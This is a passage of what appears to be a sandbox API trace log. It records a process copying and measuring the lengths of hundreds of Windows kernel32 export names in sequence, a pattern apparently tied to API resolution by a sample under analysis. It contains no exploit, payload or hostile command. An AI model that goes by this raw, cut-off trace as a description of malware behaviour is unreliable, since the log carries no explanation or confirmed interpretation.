(lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0086.276] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0086.276] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0086.276] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0086.276] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0086.276] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0086.276] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0086.276] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0086.276] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0086.277] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0086.277] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0086.277] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0086.277] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0086.277] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0086.277] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0086.277] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0086.277] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0086.277] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0086.277] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0086.277] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0086.277] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0086.277] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0086.277] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0086.277] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0086.277] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0086.277] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0086.278] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0086.278] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0086.278] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0086.278] lstrlenA (lpString="BACKUPREAD") returned 10 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0086.278] lstrlenA (lpString="BACKUPSEEK") returned 10 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0086.278] lstrlenA (lpString="BACKUPWRITE") returned 11 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0086.278] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0086.278] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0086.278] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0086.278] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0086.278] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0086.278] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0086.278] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0086.278] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0086.278] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0086.278] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0086.278] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0086.279] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0086.279] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0086.279] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0086.279] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0086.279] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0086.279] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0086.279] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0086.279] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0086.279] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0086.279] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0086.279] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0086.279] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0086.279] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0086.279] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0086.279] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0086.279] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0086.279] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0086.280] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0086.280] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0086.280] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0086.280] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0086.280] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0086.280] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0086.280] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0086.280] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0086.280] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0086.280] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0086.280] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0086.280] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0086.280] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0086.280] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0086.280] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0086.280] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0086.280] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0086.281] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0086.281] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0086.281] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0086.281] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0086.281] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0086.281] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0086.281] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0086.281] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0086.281] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0086.281] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0086.281] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0086.281] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0086.281] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0086.281] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0086.281] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0086.281] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0086.281] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0086.281] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0086.282] lstrlenA (lpString="BEEP") returned 4 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0086.282] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0086.282] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0086.282] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0086.282] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0086.282] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0086.282] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0086.282] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0086.282] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0086.282] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0086.282] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0086.282] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0086.282] lstrlenA (lpString="CANCELIO") returned 8 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0086.282] lstrlenA (lpString="CANCELIOEX") returned 10 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0086.282] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0086.282] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0086.282] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0086.283] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0086.283] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0086.283] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0086.283] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0086.283] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0086.283] lstrlenA (lpString="CHECKELEVATION") returned 14 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0086.283] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0086.283] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0086.283] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0086.283] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0086.283] lstrcpyA (in: 